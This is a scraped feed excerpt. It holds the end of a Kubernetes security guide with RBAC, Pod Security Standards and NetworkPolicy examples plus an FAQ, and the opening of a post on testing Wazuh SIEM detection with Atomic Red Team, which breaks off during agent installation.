ServiceAccount<br>metadata:<br>  name: app-service-account<br>  namespace: production<br>automountServiceAccountToken: false  # Only mount when explicitly needed<br>---<br># RBAC role for service account (least privilege)<br>apiVersion: rbac.authorization.k8s.io/v1<br>kind: Role<br>metadata:<br>  name: app-role<br>  namespace: production<br>rules:<br>- apiGroups: [&quot;&quot;]<br>  resources: [&quot;configmaps&quot;]<br>  verbs: [&quot;get&quot;, &quot;list&quot;]<br>  # Only specific ConfigMaps, not all<br>  resourceNames: [&quot;app-config&quot;]<br>---<br>apiVersion: rbac.authorization.k8s.io/v1<br>kind: RoleBinding<br>metadata:<br>  name: app-role-binding<br>  namespace: production<br>subjects:<br>- kind: ServiceAccount<br>  name: app-service-account<br>  namespace: production<br>roleRef:<br>  kind: Role<br>  name: app-role<br>  apiGroup: rbac.authorization.k8s.io</pre><p>Detailed Analysis of Pod Security Standard Implementation:</p><p>Multi-Level Enforcement Strategy: The configuration demonstrates a sophisticated approach to PSS enforcement using multiple enforcement modes. The enforce mode strictly blocks pods that violate policies, while warn mode allows deployment but generates warnings, and audit mode silently logs violations. This multi-level approach enables gradual security tightening—organizations can start with baseline enforcement while warning on restricted violations, giving teams time to remediate applications before enforcing the stricter restricted profile.</p><p>Namespace-Based Policy Application: Applying security policies at the namespace level provides granular control appropriate for different workload types and environments. Production namespaces enforce restricted profiles for maximum security, development namespaces use baseline profiles to balance security with development velocity, and specialized infrastructure namespaces might use privileged profiles for system components that genuinely require host access. This namespace-level granularity enables defense-in-depth while accommodating legitimate operational requirements.</p><p>Restricted Profile Deep Dive: The restricted pod example demonstrates all requirements for the strictest security profile. Running as non-root (runAsNonRoot: true with explicit UIDs) prevents numerous privilege escalation attacks. Dropping all Linux capabilities (capabilities.drop: [ALL]) removes dangerous privileges even from non-root processes. Using read-only root filesystems (readOnlyRootFilesystem: true) prevents malware installation and persistence mechanisms. Preventing privilege escalation (allowPrivilegeEscalation: false) blocks exploitation of setuid binaries. Together, these controls dramatically reduce the impact of application compromises.</p><p>Read-Only Root Filesystem Pattern: The read-only root filesystem requirement of the restricted profile prevents writing to the container filesystem, forcing explicit declaration of writable paths through volume mounts. This pattern significantly improves security by preventing attackers from modifying system binaries, installing backdoors, or creating persistent malware. The example uses emptyDir volumes for /tmp and application cache directories, providing writable storage where needed while maintaining immutability elsewhere.</p><p>Service Account Security: The example demonstrates service account security best practices. Creating dedicated service accounts for each application (rather than using the default service account) enables fine-grained RBAC policies. Setting automountServiceAccountToken: false prevents automatic mounting of service account credentials into pods that don&#39;t need Kubernetes API access, reducing the impact of container compromises. The associated RBAC role grants only the minimum necessary permissions—reading specific ConfigMaps rather than all resources.</p><p>Resource Limits in Context: While not strictly required by PSS, resource limits are critical for defense in depth. They prevent resource exhaustion attacks where compromised containers attempt to consume all cluster resources. The restricted profile example includes both requests (guaranteed resources) and limits (maximum allowed), ensuring predictable behavior and preventing noisy neighbor problems.</p><p>Progressive Security Migration: Organizations with existing workloads can use the baseline profile as a stepping stone toward restricted. Start by enforcing baseline cluster-wide, which blocks the most dangerous configurations with minimal application changes required. Configure warning and audit for restricted violations to identify applications needing remediation. Work through applications systematically, updating them to meet restricted requirements. Once all applications comply, switch enforcement to restricted. This gradual approach prevents security improvements from disrupting operations.</p><p>This comprehensive approach to Pod Security Standards provides strong baseline security while accommodating the operational realities of running diverse workloads in Kubernetes clusters. The key is balancing security with usability, using technology controls (PSS enforcement) combined with process controls (security reviews, remediation plans) to progressively improve security posture.</p><h3>Chapter 4: Kubernetes Network Policies — Microsegmentation and Defense in Depth</h3><p>Network security in Kubernetes environments presents unique challenges due to the dynamic nature of pod scheduling, the flat network model where all pods can communicate by default, and the east-west traffic patterns of microservices architectures. Traditional network security controls designed for north-south perimeter defense are insufficient for securing container workloads. Kubernetes Network Policies provide declarative microsegmentation capabilities, enabling security teams to implement zero-trust networking principles where every connection must be explicitly authorized.</p><h3>4.1 Network Policy Fundamentals and Default-Deny Strategy</h3><p>Kubernetes Network Policies define rules controlling network traffic to and from pods. Without Network Policies, all pods in a cluster can communicate with all other pods — a flat network topology that provides no isolation between different applications or tenants. This default-allow posture creates significant security risks where compromised pods can lateral movement to attack other workloads.</p><p>Understanding Network Policy Architecture:</p><p>Network Policies are implemented by CNI (Container Network Interface) plugins, not by Kubernetes itself. This means your cluster must use a CNI plugin that supports Network Policies — such as Calico, Cilium, Weave Net, or others. Popular CNI plugins like Flannel do not support Network Policies in their default configuration. Attempting to apply Network Policies in clusters without a supporting CNI plugin has no effect, creating a dangerous false sense of security.</p><p>Network Policies are namespace-scoped resources that select pods using label selectors, similar to how Services select pods. Selected pods have their network traffic restricted according to the policy rules. Policies can control both ingress (incoming) and egress (outgoing) traffic, with separate rule sets for each direction. Multiple policies can apply to the same pod, with the combination of all matching policies determining the effective rules (union of all allow rules).</p><p>The Default-Deny Pattern:</p><p>The most important network security pattern for Kubernetes is implementing default-deny Network Policies that block all traffic except explicitly allowed connections. This zero-trust approach ensures that only documented, intended communication paths are permitted, dramatically reducing the blast radius of security incidents.</p><p>Here’s a comprehensive example demonstrating default-deny network policies and progressive microsegmentation:</p><pre># ==============================================================================<br># DEFAULT-DENY NETWORK POLICIES<br># ==============================================================================<br># These policies should be applied first, establishing a secure baseline</pre><pre>---<br># Policy 1: Default deny all ingress traffic to all pods<br>apiVersion: networking.k8s.io/v1<br>kind: NetworkPolicy<br>metadata:<br>  name: default-deny-ingress<br>  namespace: production<br>spec:<br>  # Select ALL pods in namespace (empty selector matches everything)<br>  podSelector: {}<br>  <br>  # Define policy types this policy applies to<br>  policyTypes:<br>  - Ingress<br>  <br>  # Empty ingress rules = deny all ingress<br>  # (presence of Ingress in policyTypes with no rules = deny)---<br># Policy 2: Default deny all egress traffic from all pods<br>apiVersion: networking.k8s.io/v1<br>kind: NetworkPolicy<br>metadata:<br>  name: default-deny-egress<br>  namespace: production<br>spec:<br>  podSelector: {}<br>  policyTypes:<br>  - Egress<br>  <br>  # Empty egress rules = deny all egress# ==============================================================================<br># With default-deny in place, pods cannot communicate at all.<br># Now we add specific allow rules for required communication paths.<br># ==============================================================================---<br># Policy 3: Allow DNS queries (required for service discovery)<br>apiVersion: networking.k8s.io/v1<br>kind: NetworkPolicy<br>metadata:<br>  name: allow-dns-access<br>  namespace: production<br>spec:<br>  # Apply to ALL pods (they all need DNS)<br>  podSelector: {}<br>  <br>  policyTypes:<br>  - Egress<br>  <br>  egress:<br>  # Allow DNS queries to kube-dns/CoreDNS<br>  - to:<br>    - namespaceSelector:<br>        matchLabels:<br>          name: kube-system<br>    ports:<br>    - protocol: UDP<br>      port: 53<br>    - protocol: TCP<br>      port: 53---<br># ==============================================================================<br># APPLICATION-SPECIFIC NETWORK POLICIES<br># ==============================================================================<br># Define explicit allow rules for each microservice communication path---<br># Policy 4: Frontend service ingress rules<br>apiVersion: networking.k8s.io/v1<br>kind: NetworkPolicy<br>metadata:<br>  name: frontend-ingress<br>  namespace: production<br>spec:<br>  # Select frontend pods<br>  podSelector:<br>    matchLabels:<br>      app: frontend<br>      tier: web<br>  <br>  policyTypes:<br>  - Ingress<br>  <br>  ingress:<br>  # Rule 1: Accept HTTPS from ingress controller<br>  - from:<br>    - namespaceSelector:<br>        matchLabels:<br>          name: ingress-nginx<br>    - podSelector:<br>        matchLabels:<br>          app.kubernetes.io/name: ingress-nginx<br>    ports:<br>    - protocol: TCP<br>      port: 8080<br>      # Optional: Specify endpoint port name instead of number<br>      # port: http<br>  <br>  # Rule 2: Accept traffic from monitoring system (Prometheus)<br>  - from:<br>    - namespaceSelector:<br>        matchLabels:<br>          name: monitoring<br>    - podSelector:<br>        matchLabels:<br>          app: prometheus<br>    ports:<br>    - protocol: TCP<br>      port: 9090  # Metrics endpoint---<br># Policy 5: Frontend service egress rules<br>apiVersion: networking.k8s.io/v1<br>kind: NetworkPolicy<br>metadata:<br>  name: frontend-egress<br>  namespace: production<br>spec:<br>  podSelector:<br>    matchLabels:<br>      app: frontend<br>      tier: web<br>  <br>  policyTypes:<br>  - Egress<br>  <br>  egress:<br>  # Rule 1: Allow connections to backend API service<br>  - to:<br>    - podSelector:<br>        matchLabels:<br>          app: api<br>          tier: backend<br>    ports:<br>    - protocol: TCP<br>      port: 8080<br>  <br>  # Rule 2: Allow connections to Redis cache<br>  - to:<br>    - podSelector:<br>        matchLabels:<br>          app: redis<br>          tier: cache<br>    ports:<br>    - protocol: TCP<br>      port: 6379<br>  <br>  # Rule 3: Allow DNS (covered by allow-dns-access policy)<br>  # Rule 4: Allow external API calls (specific external services)<br>  - to:<br>    - namespaceSelector: {}  # Any namespace<br>      podSelector: {}<br>    # Use CIDR to allow external IPs<br>    ports:<br>    - protocol: TCP<br>      port: 443  # HTTPS only<br>    # Limit to specific external IPs<br>  - to:<br>    - ipBlock:<br>        cidr: 203.0.113.0/24  # External API service IP range<br>        except:<br>        - 203.0.113.1/32  # Exclude specific problematic IP---<br># Policy 6: Backend API service policies<br>apiVersion: networking.k8s.io/v1<br>kind: NetworkPolicy<br>metadata:<br>  name: api-network-policy<br>  namespace: production<br>spec:<br>  podSelector:<br>    matchLabels:<br>      app: api<br>      tier: backend<br>  <br>  policyTypes:<br>  - Ingress<br>  - Egress<br>  <br>  ingress:<br>  # Only accept from frontend service<br>  - from:<br>    - podSelector:<br>        matchLabels:<br>          app: frontend<br>          tier: web<br>    ports:<br>    - protocol: TCP<br>      port: 8080<br>  <br>  egress:<br>  # Allow connections to database<br>  - to:<br>    - podSelector:<br>        matchLabels:<br>          app: postgresql<br>          tier: database<br>    ports:<br>    - protocol: TCP<br>      port: 5432<br>  <br>  # Allow connections to Redis<br>  - to:<br>    - podSelector:<br>        matchLabels:<br>          app: redis<br>          tier: cache<br>    ports:<br>    - protocol: TCP<br>      port: 6379<br>  <br>  # Allow DNS<br>  - to:<br>    - namespaceSelector:<br>        matchLabels:<br>          name: kube-system<br>    ports:<br>    - protocol: UDP<br>      port: 53---<br># Policy 7: Database ingress (most restrictive)<br>apiVersion: networking.k8s.io/v1<br>kind: NetworkPolicy<br>metadata:<br>  name: database-network-policy<br>  namespace: production<br>spec:<br>  podSelector:<br>    matchLabels:<br>      app: postgresql<br>      tier: database<br>  <br>  policyTypes:<br>  - Ingress<br>  - Egress<br>  <br>  ingress:<br>  # ONLY allow connections from API backend<br>  # No other service should directly access the database<br>  - from:<br>    - podSelector:<br>        matchLabels:<br>          app: api<br>          tier: backend<br>    ports:<br>    - protocol: TCP<br>      port: 5432<br>  <br>  # Also allow from backup service<br>  - from:<br>    - podSelector:<br>        matchLabels:<br>          app: backup<br>          tier: ops<br>    ports:<br>    - protocol: TCP<br>      port: 5432<br>  <br>  egress:<br>  # Database needs minimal egress<br>  # Allow DNS for potential external connections (like S3 for backups)<br>  - to:<br>    - namespaceSelector:<br>        matchLabels:<br>          name: kube-system<br>    ports:<br>    - protocol: UDP<br>      port: 53<br>  <br>  # Allow S3 access for backups (if using AWS S3)<br>  - to:<br>    - ipBlock:<br>        cidr: 52.216.0.0/15  # S3 IP range (example)<br>    ports:<br>    - protocol: TCP<br>      port: 443---<br># ==============================================================================<br># CROSS-NAMESPACE COMMUNICATION POLICY<br># ==============================================================================<br># Controlling traffic between namespaces (multi-tenancy)---<br># Policy 8: Allow specific cross-namespace communication<br>apiVersion: networking.k8s.io/v1<br>kind: NetworkPolicy<br>metadata:<br>  name: allow-from-staging<br>  namespace: production<br>spec:<br>  # Select specific pods in production namespace<br>  podSelector:<br>    matchLabels:<br>      app: shared-service<br>      access-level: shared<br>  <br>  policyTypes:<br>  - Ingress<br>  <br>  ingress:<br>  # Allow access from staging namespace<br>  - from:<br>    - namespaceSelector:<br>        matchLabels:<br>          name: staging<br>      podSelector:<br>        matchLabels:<br>          allowed: &quot;true&quot;<br>    ports:<br>    - protocol: TCP<br>      port: 8080---<br># ==============================================================================<br># ADVANCED: NAMED PORT USAGE<br># ==============================================================================<br># Using named ports for better maintainability---<br>apiVersion: v1<br>kind: Service<br>metadata:<br>  name: frontend<br>  namespace: production<br>spec:<br>  selector:<br>    app: frontend<br>  ports:<br>  - name: http<br>    port: 80<br>    targetPort: http  # References named port in pod<br>  - name: metrics<br>    port: 9090<br>    targetPort: metrics<br>---<br># Network policy using named ports<br>apiVersion: networking.k8s.io/v1<br>kind: NetworkPolicy<br>metadata:<br>  name: frontend-named-ports<br>  namespace: production<br>spec:<br>  podSelector:<br>    matchLabels:<br>      app: frontend<br>  <br>  policyTypes:<br>  - Ingress<br>  <br>  ingress:<br>  - from:<br>    - namespaceSelector:<br>        matchLabels:<br>          name: ingress-nginx<br>    ports:<br>    - protocol: TCP<br>      port: http  # References named port (more maintainable)<br>  <br>  - from:<br>    - namespaceSelector:<br>        matchLabels:<br>          name: monitoring<br>    ports:<br>    - protocol: TCP<br>      port: metrics---<br># ==============================================================================<br># TROUBLESHOOTING HELPER: TEMPORARY ALLOW-ALL POLICY<br># ==============================================================================<br># Use this temporarily to test if Network Policies are blocking traffic<br># NEVER use this in production except for debugging!---<br>apiVersion: networking.k8s.io/v1<br>kind: NetworkPolicy<br>metadata:<br>  name: temporary-allow-all-debug<br>  namespace: production<br>  annotations:<br>    # Document why this exists and when it should be removed<br>    purpose: &quot;Temporary debugging - DELETE BY 2024-12-31&quot;<br>    ticket: &quot;JIRA-12345&quot;<br>spec:<br>  podSelector:<br>    matchLabels:<br>      debug: &quot;true&quot;  # Only pods with this label<br>  <br>  policyTypes:<br>  - Ingress<br>  - Egress<br>  <br>  ingress:<br>  - {}  # Allow all ingress<br>  <br>  egress:<br>  - {}  # Allow all egress</pre><p>Comprehensive Analysis of Network Policy Patterns:</p><p>Default-Deny Foundation: The first two policies (default-deny-ingress and default-deny-egress) establish a zero-trust foundation by blocking all traffic. The empty podSelector: {} means these policies apply to all pods in the namespace. The presence of Ingress or Egress in policyTypes with no matching rules creates an implicit deny-all effect. This is counterintuitive—you might expect that no rules means no restrictions, but in Network Policy semantics, selecting a policy type with no rules means &quot;deny all traffic of this type.&quot; This default-deny approach is critical for security because it inverts the security model from &quot;block known-bad&quot; to &quot;allow known-good.&quot;</p><p>DNS Allowance — Essential for Function: After implementing default-deny, the first exception needed is DNS access. Without DNS, pods cannot resolve service names or external hostnames, breaking normal application functionality. The allow-dns-access policy permits DNS queries to kube-dns/CoreDNS pods in the kube-system namespace. This policy uses both namespaceSelector (selecting the kube-system namespace) and opens ports 53 for both UDP and TCP. While DNS primarily uses UDP, some queries fall back to TCP, so both protocols should be allowed.</p><p>Layered Security Through Multiple Policies: The frontend service has both ingress and egress policies defined in separate Network Policy resources. This separation improves maintainability and follows the principle of separation of concerns. The ingress policy controls what can connect to the frontend (ingress controller and monitoring), while the egress policy controls what the frontend can connect to (backend API, Redis, external services). Multiple policies affecting the same pods create additive allow rules — the effective policy is the union of all matching policies.</p><p>Microsegmentation Pattern: The policies implement strict microsegmentation where each service can only communicate with its direct dependencies. The frontend can connect to the backend API and Redis, but not directly to the database. The backend API can connect to the database and Redis. The database accepts connections only from the backend API and backup service. This layered approach limits the blast radius of compromises — an attacker who compromises the frontend cannot directly access the database; they must first compromise the backend API, significantly increasing attack complexity.</p><p>External Traffic Control: The frontend egress policy demonstrates controlling external API access using ipBlock with CIDR notation. This allows specifying external IP ranges that pods can connect to, preventing arbitrary internet access. The except clause within ipBlock enables excluding specific IPs from otherwise-allowed ranges, useful for blacklisting known-malicious IPs within generally-trusted IP blocks. For production environments, restricting external access to specific endpoints reduces the risk of data exfiltration and command-and-control communication.</p><p>Cross-Namespace Communication: The allow-from-staging policy shows how to control cross-namespace traffic in multi-tenant clusters. It uses both namespaceSelector (selecting the staging namespace) and podSelector (selecting pods with allowed: &quot;true&quot; label) in combination. Both selectors must match for traffic to be allowed, implementing both namespace-level and pod-level access control. This pattern is essential for multi-tenant Kubernetes clusters where different teams or applications share the cluster but should have limited interaction.</p><p>Named Ports for Maintainability: The frontend-named-ports policy demonstrates using named ports instead of port numbers. Named ports reference port names defined in pod specifications, making policies more maintainable when port numbers change. Instead of updating all Network Policies when a port number changes, you only update the pod specification. This is particularly valuable in large environments with many Network Policies.</p><p>Database Security — Defense in Depth: The database Network Policy is the most restrictive, reflecting the critical nature of data stores. It allows ingress only from the backend API and backup service — no other services should directly access the database. The egress policy is similarly restrictive, allowing only DNS and S3 access (for backups). This tight restriction implements the principle of least privilege at the network level, ensuring databases are protected even if application-level access controls fail.</p><p>Troubleshooting Considerations: Network Policies can be challenging to debug when things don’t work as expected. The temporary allow-all policy demonstrates a debugging technique — apply a permissive policy to specific pods (selected by the debug: &quot;true&quot; label) to determine if Network Policies are causing connectivity issues. This policy should never exist in production except during active debugging and should be immediately removed after troubleshooting. The annotations document why it exists and when it should be removed, preventing temporary debugging policies from becoming permanent.</p><p>Operational Best Practices:</p><ol><li>Apply Default-Deny First: Always start by applying default-deny policies to establish a secure baseline, then add specific allow rules. Attempting to add deny rules to an allow-by-default model inevitably leaves gaps.</li><li>Document Communication Flows: Maintain architecture diagrams showing all service-to-service communication paths. Network Policies should directly reflect documented architecture, making it easy to verify that policies match intentions.</li><li>Test in Non-Production First: Network Policy misconfigurations can break applications in hard-to-debug ways. Always test policies in development/staging environments before applying to production.</li><li>Use Namespace Labels Consistently: Establish naming conventions for namespace labels used in Network Policies. Inconsistent labeling makes policies fragile and hard to maintain.</li><li>Monitor Policy Violations: Use tools like Cilium Hubble or Calico Enterprise to monitor denied connections. These telemetry tools show which connections are being blocked, helping identify both legitimate traffic that needs policy updates and malicious connection attempts that policies are correctly blocking.</li></ol><p>This comprehensive approach to Network Policies creates defense-in-depth network security suitable for zero-trust architectures, dramatically reducing attack surface and limiting the impact of security incidents.</p><h3>Frequently Asked Questions</h3><h3>What’s the difference between Docker security and Kubernetes security?</h3><p>Docker security focuses on securing individual containers and the Docker daemon, including image security, container runtime configuration, and host-level protections. Kubernetes security operates at a higher abstraction level, addressing orchestration concerns like pod security, service-to-service authentication, network microsegmentation, and secrets management across distributed workloads. While Docker provides the foundation, Kubernetes adds layers of security controls specific to managing containerized applications at scale. Both are essential — poor Docker security undermines Kubernetes security controls, while strong Docker security without Kubernetes-level controls leaves gaps in distributed systems security.</p><h3>How do I migrate from PodSecurityPolicy to Pod Security Standards?</h3><p>PodSecurityPolicy (PSP) was deprecated in Kubernetes 1.21 and removed in 1.25, replaced by Pod Security Standards (PSS). Migration involves: (1) Analyzing existing PSP usage to understand current security posture, (2) Mapping PSP configurations to equivalent PSS profiles (Privileged, Baseline, or Restricted), (3) Applying PSS labels to namespaces starting with permissive profiles and warning/audit modes, (4) Gradually tightening profiles as applications are updated to meet requirements, (5) Removing PSPs once PSS enforcement is in place. The key difference is that PSS uses predefined profiles rather than custom policies, simplifying security but requiring application modifications to meet stricter profiles. Organizations should use admission controllers like OPA Gatekeeper or Kyverno for custom policies that PSS doesn’t address.</p><h3>What’s the best tool for container vulnerability scanning?</h3><p>The “best” scanner depends on specific requirements, but popular choices include:</p><ul><li>Trivy: Open-source, comprehensive coverage of OS packages and application dependencies, fast scanning, easy CI/CD integration. Excellent default choice for most organizations.</li><li>Grype: Open-source from Anchore, good accuracy, integrates with Syft for SBOM generation. Strong choice for supply chain security focused organizations.</li><li>Clair: Open-source from Red Hat, focuses on OS vulnerabilities, works well with Quay registry. Good for organizations heavily invested in Red Hat ecosystem.</li><li>Snyk: Commercial tool with excellent developer experience, IDE integration, and automated fix suggestions. Best for organizations prioritizing developer productivity.</li><li>Aqua/Prisma/Sysdig: Enterprise commercial platforms with vulnerability scanning plus runtime protection, compliance, and other security features. Best for enterprises needing comprehensive security platforms.</li></ul><p>Most organizations benefit from using multiple scanners to catch vulnerabilities that individual tools might miss, aggregating results in a central vulnerability management platform.</p><h3>How do I secure secrets in Kubernetes without using external tools like Vault?</h3><p>While external secret managers like HashiCorp Vault provide the best security, you can improve native Kubernetes Secrets security through:</p><ol><li>Enable Encryption at Rest: Configure the kube-apiserver with --encryption-provider-config to encrypt secrets in etcd using aescbc, aesgcm, or KMS providers.</li><li>RBAC Restrictions: Use strict RBAC to limit who can read secrets. Create roles that grant access only to specific secrets needed, not all secrets in a namespace.</li><li>Sealed Secrets: Use Bitnami Sealed Secrets to encrypt secrets before committing to Git, enabling GitOps workflows while protecting sensitive data.</li><li>External Secrets Operator: Use External Secrets Operator as a middle ground — it pulls secrets from various sources (AWS Secrets Manager, Azure Key Vault, GCP Secret Manager) without running a separate Vault cluster.</li><li>Avoid Environment Variables: Mount secrets as volumes rather than environment variables, as environment variables are easier to expose through process listings and error messages.</li></ol><p>However, these approaches still have limitations compared to dedicated secret managers, particularly around dynamic secret generation, automated rotation, and comprehensive audit logging.</p><h3>What’s the difference between Network Policies and Service Mesh for security?</h3><p>Network Policies and Service Meshes provide complementary network security capabilities:</p><p>Network Policies:</p><ul><li>Layer 3/4 network-level traffic control (IP addresses and ports)</li><li>Implemented by CNI plugins at the network layer</li><li>Simpler to understand and implement</li><li>Lower overhead and better performance</li><li>Limited to allow/deny decisions based on labels and namespaces</li><li>No encryption, authentication, or Layer 7 controls</li></ul><p>Service Mesh (Istio, Linkerd):</p><ul><li>Layer 7 application-level traffic control (HTTP paths, methods, headers)</li><li>Implemented by sidecar proxies in each pod</li><li>More complex setup and operation</li><li>Higher resource overhead (sidecar containers)</li><li>Provides mutual TLS encryption between services automatically</li><li>Offers rich traffic management (retries, timeouts, circuit breaking)</li><li>Enables advanced security policies (JWT validation, authorization policies)</li><li>Provides detailed observability (distributed tracing, metrics)</li></ul><p>Organizations typically use both: Network Policies for baseline network segmentation and Service Mesh for application-level security and traffic management. Start with Network Policies for their simplicity, add Service Mesh when you need its advanced features.</p><h3>How often should I update container base images?</h3><p>Update frequency depends on balancing security with operational stability:</p><p>Critical Vulnerabilities: Update immediately when critical CVEs affecting your images are disclosed, especially if they’re remotely exploitable. Don’t wait for scheduled maintenance windows.</p><p>Regular Updates: Establish a regular update cadence:</p><ul><li>Production: Monthly updates work for most organizations, providing frequent security patches while maintaining stability</li><li>Development/Staging: Weekly or bi-weekly updates catch issues earlier</li><li>Infrastructure Images: Update when base image releases are published (often monthly)</li></ul><p>Automated Scanning: Run vulnerability scans daily or on every build, even if not updating immediately. This provides visibility into your security posture and enables quick response when critical vulnerabilities emerge.</p><p>Update Process: Successful update programs include:</p><ol><li>Automated scanning detecting base image updates</li><li>Automated PR creation rebuilding images with new base images</li><li>Automated testing verifying functionality</li><li>Manual review and approval for production deployments</li><li>Phased rollout limiting blast radius</li></ol><p>Organizations with mature DevOps practices can update more frequently (weekly or even daily), while those with limited automation should focus on monthly updates with emergency processes for critical vulnerabilities.</p><h3>What runtime security monitoring tools should I use?</h3><p>Runtime security monitoring tools detect suspicious behavior after containers are deployed:</p><p>Falco: Open-source CNCF project, uses eBPF or kernel module to monitor system calls, highly customizable rules, excellent community support. Best for organizations wanting flexibility and community-driven development.</p><p>Tetragon: eBPF-based security observability from Isovalent (Cilium creators), deep kernel visibility, strong Kubernetes integration. Excellent for organizations already using Cilium networking.</p><p>Sysdig Secure: Commercial platform built on Falco, adds enterprise features like incident response workflows, compliance reporting, and commercial support. Good for enterprises wanting turnkey solutions.</p><p>Aqua Security: Comprehensive commercial platform including runtime protection, vulnerability management, and compliance. Best for enterprises needing all-in-one security platforms.</p><p>Prisma Cloud (Palo Alto): Enterprise security platform with runtime defense, covers multiple cloud providers and environments. Strong choice for organizations standardized on Palo Alto security tools.</p><p>Open-Source Combination: Many organizations use Falco for runtime monitoring, combined with Prometheus/Grafana for metrics and alerting, providing powerful capabilities without licensing costs. This requires more operational expertise but offers maximum flexibility.</p><p>The choice depends on budget, existing tool investments, required features, and operational capabilities. Start with open-source tools like Falco to understand requirements, then evaluate commercial tools if you need enterprise features, support, or integrated platforms.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1dced055ca4a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Threat Emulation and Detection Engineering: Validating Atomic Red Team Attacks in Wazuh SIEM]]></title>
            <link>https://medium.com/@blackxsec/threat-emulation-and-detection-engineering-validating-atomic-red-team-attacks-in-wazuh-siem-18bcc1af6aa4?source=rss-82c3aba4bbc0------2</link>
            <guid isPermaLink="false">https://medium.com/p/18bcc1af6aa4</guid>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[mitre-attack-framework]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[BlackXsec]]></dc:creator>
            <pubDate>Thu, 23 Jul 2026 21:39:05 GMT</pubDate>
            <atom:updated>2026-07-23T21:39:05.534Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*DQHdy9TDQ76xEAp0.png" /></figure><h3>INTRODUCTION</h3><p>In this document, I will show you how you can simulate (preferably in a lab environment) various attacks that have been carried out by attackers in the past or are still being carried out today. To do this, I will use the brilliant solution known as “Atomic Red Team” from “Red Canary.” Later on, I will explain in more detail what this solution is.</p><p>In addition to the Atomic Red Team tool, we will also use the “Sysmon” tool from Microsoft’s “SysInternals” package. Sysmon will help us detect various attacks that will be carried out using the aforementioned solution — Atomic Red Team.</p><p>Another key component will be the Wazuh agent software, which will monitor activity on the endpoint where Sysmon and Atomic Red Team are deployed. The Wazuh agent will collect information from relevant Windows Event Viewer logs and forward it to the Wazuh Manager, which will process the received data, send it to the Wazuh Indexer, and finally display it in the Wazuh Dashboard.</p><p>And, of course, the star of this post will be the Wazuh SIEM system, where I will identify and analyze simulated attacks.</p><p>I will walk you through all the steps I take, step by step, so that everything is clear to you.</p><p>First, however, I’ll explain a few key terms that will come up frequently in this document. If you’re already familiar with these terms, you can skip the theoretical section and go straight to the practical part.</p><h3>What is Wazuh?</h3><p>Wazuh is an open-source <strong>SIEM and XDR</strong> platform designed to help organizations improve their security visibility, detect threats, and respond to incidents more effectively. It collects and analyzes security data from endpoints, servers, cloud environments, and network devices, providing centralized monitoring and real-time alerting. Wazuh offers key capabilities such as <strong>log analysis, file integrity monitoring, vulnerability detection, intrusion detection, configuration assessment, and compliance reporting</strong>. It is widely used for security operations, threat hunting, incident response, and meeting regulatory requirements in both on-premises and cloud environments.</p><h3>What is the Atomic Red Team?</h3><p>Atomic Red Team is a tool used to safely test how well security systems detect attacker activity. It contains small tests that imitate real attack techniques, so security teams can check whether their SIEM, EDR, or antivirus can see them. With Atomic Red Team, you can test things like suspicious PowerShell commands, file changes, persistence, credential access, and other common attack behaviors. It is mainly used to improve detection rules and check if security monitoring works properly.</p><p>The attack simulations you can run using Atomic Red Team are mapped to the MITRE ATTACK Framework, which contains extensive information on so-called TTPs — the tactics, techniques, and procedures used by attackers.</p><p>Below, I’ve explained what this framework is.</p><h3>What is the Mitre Attack Matrix?</h3><p>MITRE ATT&amp;CK is a public framework that describes how cyber attackers behave during real-world attacks. In simple terms, it is a structured map of what attackers try to do and how they do it. It helps security teams understand common attack methods, improve detection, test defenses, and respond better to threats.</p><h3>What is Sysmon?</h3><p>Sysmon is a Windows system tool that records detailed information about what is happening on a computer. It can log things like process creation, network connections, file changes, driver loads, and other important system activity. Security teams use Sysmon to get better visibility into suspicious behavior, investigate incidents, and improve detections in tools like SIEM or EDR. It is especially useful for finding attacker activity that normal Windows logs may not show clearly.</p><h3>What is the Wazuh agent?</h3><p>Wazuh agent is a lightweight software component installed on monitored endpoints such as servers, workstations, and laptops. Its role is to collect security-relevant data locally, including logs, file changes, system events, and configuration information, and securely send it to the Wazuh server for analysis. It also helps enforce visibility on the endpoint itself, making it a key element of threat detection, integrity monitoring, and compliance monitoring within the Wazuh platform.</p><p>Importantly, the Wazuh agent runs in the background and does not interfere with the system’s operation — it does not slow down the operating system on which it is installed.</p><h3>Lab Architecture</h3><p>In this section, I will briefly describe the components that make up my lab environment for the purposes of writing this document and carrying out the activities described herein.</p><p>In my lab, I have two Wazuh instances — Master and Worker — meaning my Wazuh architecture is based on a distributed setup and a cluster. The following are installed on the Wazuh Master instance:</p><p>· <strong>Wazuh Manager</strong></p><p>· <strong>Wazuh Indexer</strong></p><p>· <strong>Wazuh Dashboard</strong></p><p>In turn, the following are installed on the Wazuh Worker instance:</p><p>· <strong>Wazuh Manager</strong></p><p>· <strong>Wazuh Indexer</strong></p><p>Wazuh is implemented in the latest version (as of the date of this document — April 13, 2026), namely version <strong>4.14.4.</strong></p><p>Wazuh components are deployed on <strong>Ubuntu Server 24.04.4 LTS.</strong></p><p>In addition, I will use Windows 11 in my lab infrastructure, on which the Atomic Red Team solution, Wazuh Agent, and Sysmon will be implemented.</p><p>The diagram below provides a visual representation of my infrastructure:</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*JCo_qNNQ2IsqPK3j.png" /></figure><h3>PRACTICAL SECTION</h3><p>After a somewhat lengthy theoretical introduction, the moment we’ve all been waiting for has finally arrived — it’s time for the practical part!</p><p>At the very beginning of this practical section, I’ll show you (things that may seem trivial to you) how to install the Wazuh agent and the Sysmon software on a Windows 11 endpoint. I’ll show you how to initially configure Sysmon — that is, how to upload the appropriate configuration file — and I’ll prepare a set of detection rules for Sysmon and implement them in Wazuh. In the next step, I’ll move on to installing Atomic Red Team and begin simulating various attacks.</p><h3>Installing the Wazuh agent</h3><p>First, I will install the Wazuh agent on a virtual machine running Windows 11. I will walk you through the process of installing the Wazuh agent step by step.</p><p>Importantly, for the installation of necessary components such as the Wazuh agent, Sysmon, and Atomic Red Team, the Windows machine currently has Internet access, meaning it has two network cards connected. One of them is a “Host-Only” network, while the other is a physical “bridged” network card that provides Internet access. At a later stage, I will disconnect this machine from the 